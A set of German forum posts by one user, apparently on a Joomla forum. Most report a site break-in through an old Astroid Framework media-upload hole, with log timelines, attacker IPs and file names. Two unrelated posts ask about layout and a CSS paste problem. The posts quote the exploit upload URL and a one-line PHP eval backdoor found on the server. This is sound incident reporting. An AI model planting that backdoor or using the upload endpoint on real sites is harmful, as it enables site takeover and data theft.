Beiträge von CryoW

    WOher willst du das wissen?

    Nur um das noch mal klar zu machen. SObald die Lücke 1x ausgenutzt wurde, hilft es in den meisten Fällen gar nichts mehr sich auf einen Backend-htaccess-Schutz zu verlassen. Warum: Weil längst neue Backdoors angelegt wurden, die sonstwo und einfach erreichbar im Space herumliegen und weitere Backdoors anlegen, die die ehemalige Lücke nicht brauchen. Quasi Lawine. Siehste ja selber. Und das Vertrauen in Scanner, welcher Art auch immer, ist vielleicht eine kleine, zusätzliche Hilfe bei der Bereinigung, aber niemals ausreichend, um alles loszuwerden. Weil hochgeladene Schadcodes so mannigfaltig sein können oder längst in der DB ... usw. usf.

    Dann müsste man schon was in den Logs sehen. Bis jetzt sind es nur andauernd Zugriffsversuche auf die alten, nun entfernten Dateien.

    Bei Hetzner gibt es halt nur maximal 7 Tage Backup. Vieleicht noch interesannt, dass die betroffene Seite im betroffenen Zeitraum für ein paar Stunden irgendwie eine Weiterleitung zu einem Shopyfi Shop hatte. Haben wir erst bemerkt, als Google Fehler in strukturierten Dateien gemeldet hatte, welche alle am betreffenden Tag indiziert wurden.

    Ich hatte mir RSFirewall installiert und das hat noch ca. 20 Dateien gefunden. Auch Bilder etc.. So ziemlich in jedem denkbaren Verzeichnis war irgendwo etwas.

    Die versuchen es zwar weiterhin, aber ist ja jetzt alles zu:

    ...administrator/index.php?option=com_ajax&astroid=media&format=json&action=upload&media=images&dir=imagesAttempted to leverage vulnerability in old version of Astroid Framework (PHP code upload).

    Ich kann die Seite nicht auf den 22.02. zurücksetzten, da dann alle Buchungen etc. weg wären, da dies eine aktive Buchungsseite ist. Wir haben Sie auf Sonntag früh zurückgesetzt und können nur hoffen, dass vorher noch nichts manipuliert war. Versuche gerade infitierte Stellen zu finden. Eine hatte ich schon: astroid_threesss/index.php

    Ganz oben steht dort diese Zeile:

    Code
    $param = 'c'; $inputCode = filter_input(INPUT_POST, $param); $decoded = hex2bin($inputCode); eval($decoded);

    Mich hat es leider auch erwischt.

    Bei mir wurde die Seite heute ebenfalls kompromittiert. Aufgefallen ist es mir zuerst dadurch, dass die Seite nicht mehr normal erreichbar war und dass heute Morgen sehr viele Ordner bzw. Verzeichnisse plötzlich denselben Änderungszeitpunkt hatten. Danach habe ich Access- und Error-Logs geprüft, und das passt bei mir sehr deutlich zu dem hier beschriebenen Astroid-Fall.

    In meinem Access-Log sehe ich mehrfach dieselbe Kette:

    Zuerst ein Request über den Astroid-Media-Endpunkt im Backend, also Upload in das images-Verzeichnis.

    Danach direkt ein Rename von einer .svg auf eine .php.

    Anschließend sofort der direkte Aufruf der erzeugten Datei im /images/-Verzeichnis.

    Konkret taucht bei mir dabei immer wieder die Datei 47785d75cdd3.php auf.

    Ein paar Beispiele aus dem Log:

    16.03.2026 um 00:28:42
    IP: 89.188.178.88
    Upload über Astroid Media, danach Rename von 47785d75cdd3612.svg auf 47785d75cdd3.php, danach direkter Aufruf von /images/47785d75cdd3.php

    16.03.2026 um 01:34:40
    IP: 198.186.130.10
    Rename von 47785d75cdd3983.svg auf 47785d75cdd3.php, danach direkter Aufruf von /images/47785d75cdd3.php

    16.03.2026 um 02:05:02
    IP: 155.212.0.109
    Rename von 47785d75cdd3656.svg auf 47785d75cdd3.php, danach direkter Aufruf von /images/47785d75cdd3.php

    16.03.2026 um 03:11:29
    IP: 46.246.126.191
    Rename von 47785d75cdd3146.svg auf 47785d75cdd3.php, danach direkter Aufruf von /images/47785d75cdd3.php

    16.03.2026 um 03:42:04
    IP: 89.188.178.88
    erneut dasselbe Muster mit 47785d75cdd3907.svg

    16.03.2026 um 04:47:06
    IP: 198.186.130.10
    erneut dasselbe Muster mit 47785d75cdd3836.svg

    16.03.2026 um 05:16:33
    IP: 155.212.0.109
    erneut dasselbe Muster mit 47785d75cdd3526.svg

    Die Datei 47785d75cdd3.php taucht bei mir sogar schon vorher direkt im Zugriff auf:

    16.03.2026 um 00:05:04
    IP: 45.143.20.147
    direkter GET auf /images/47785d75cdd3.php
    direkt danach POST auf dieselbe Datei

    Im Error-Log ist dann auch klar zu sehen, dass diese Datei nicht nur irgendwo herumliegt, sondern tatsächlich ausgeführt wurde. Dort taucht sie über phar://.../images/47785d75cdd3.php/... auf. Außerdem sehe ich dort eval(), mkdir() und fopen(). In einem Fall wurde sogar versucht, in einen anderen VHost auf demselben Server eine Datei namens accesson.php zu schreiben. Für mich ist das eindeutig kein normaler Uploadfehler mehr, sondern ausgeführter Schadcode.

    Danach sehe ich weitere Folgeaktivitäten über dieselbe Datei. Zusätzlich tauchen bei mir noch cd2bcb1844.php und da6f0535a4.php im /images/-Verzeichnis auf.

    Beispiele dazu:

    16.03.2026 von 01:29:47 bis 01:30:04
    IP: 45.143.20.147
    mehrere POSTs auf /images/47785d75cdd3.php
    danach Zugriffe auf /images/cd2bcb1844.php

    16.03.2026 von 01:52:45 bis 01:52:49
    IP: 109.107.178.102
    mehrere POSTs auf /images/47785d75cdd3.php
    dazwischen Zugriffe auf /images/da6f0535a4.php

    16.03.2026 um 02:11:04 und 02:11:05
    IP: 109.107.178.102
    wieder POSTs auf /images/47785d75cdd3.php
    danach Zugriffe auf /images/cd2bcb1844.php

    16.03.2026 um 05:39:24 und 05:39:25
    IP: 45.143.20.147
    wieder POSTs auf /images/47785d75cdd3.php

    16.03.2026 von 05:42:12 bis 05:42:17
    IP: 109.107.178.102
    wieder POSTs auf /images/47785d75cdd3.php
    danach erneut Zugriffe auf /images/da6f0535a4.php

    16.03.2026 um 05:44:27 und 05:44:28
    IP: 109.107.178.102
    wieder POSTs auf /images/47785d75cdd3.php
    danach erneut /images/cd2bcb1844.php

    Später lief bei mir dann noch etwas über /image/index.php. Das dürfte auch mit den massenhaften Änderungen an Ordnern bzw. Verzeichnissen zusammenhängen.

    Dazu sehe ich unter anderem:

    16.03.2026 um 07:23:07
    IP: 84.32.44.39
    POST /image/index.php

    16.03.2026 um 07:37:12
    IP: 82.29.67.245
    POST /image/index.php?op=list&path=

    Im Error-Log sieht man kurz danach ganz konkret, dass über /image/index.php per eval() versucht wurde, in mehreren Unterverzeichnissen .htaccess-Dateien zu schreiben. Die genauen internen Pfade poste ich hier bewusst nicht, aber es waren mehrere Bereiche gleichzeitig betroffen. Das passt bei mir zeitlich sehr gut zu dem Moment, an dem plötzlich so viele Ordner denselben Änderungszeitpunkt hatten.

    Die IPs, die bei mir im direkten Zusammenhang mit dem Vorfall auftauchen, sind bisher:

    45.143.20.147
    89.188.178.88
    198.186.130.10
    155.212.0.109
    46.246.126.191
    109.107.178.102
    188.191.28.166
    84.32.44.39
    82.29.67.245

    Für mich sieht das daher sehr klar nach erfolgreicher Ausnutzung über den Astroid-Media-Weg aus, danach nachgeladener Payload bzw. Webshell und anschließend weiteren Folgeaktionen.

    Hallo,

    ich habe eine etwas ungewöhnliche Frage. Wir haben in der Kategorie Medien und Wissen drei Bereiche, welche Jommlaintern sind (Bilder etc.). Zusätzlich möchte ich aber drei externe Bereiche mit in der Übersicht anzeigen lassen; Den Blog, das Forum und das Wiki, welche aber unter Woltlab laufen. Also eine Art externe Links, welche aber in der Übersicht im gleichen Layout dargestellt werden sollen: https://www.team-survival.de/medien.html

    Ich hoffe Ihr versteht was ich meine.

    Keine Fehlermeldungen. Sonst alles das aktuellste. Wie gesagt, es geht nur hereinziehen aus einem Dokument. Aber dann kommt vor jeder Anweisung das: .

    .astroid-footer {

    font-size : 12px;

    color : #fff;

    margin-top : 7px;

    margin-left : 10px;

    \}


    Und bei 500 Zeilen alles Striche manuell zu emtfernen ist etwas mühsam.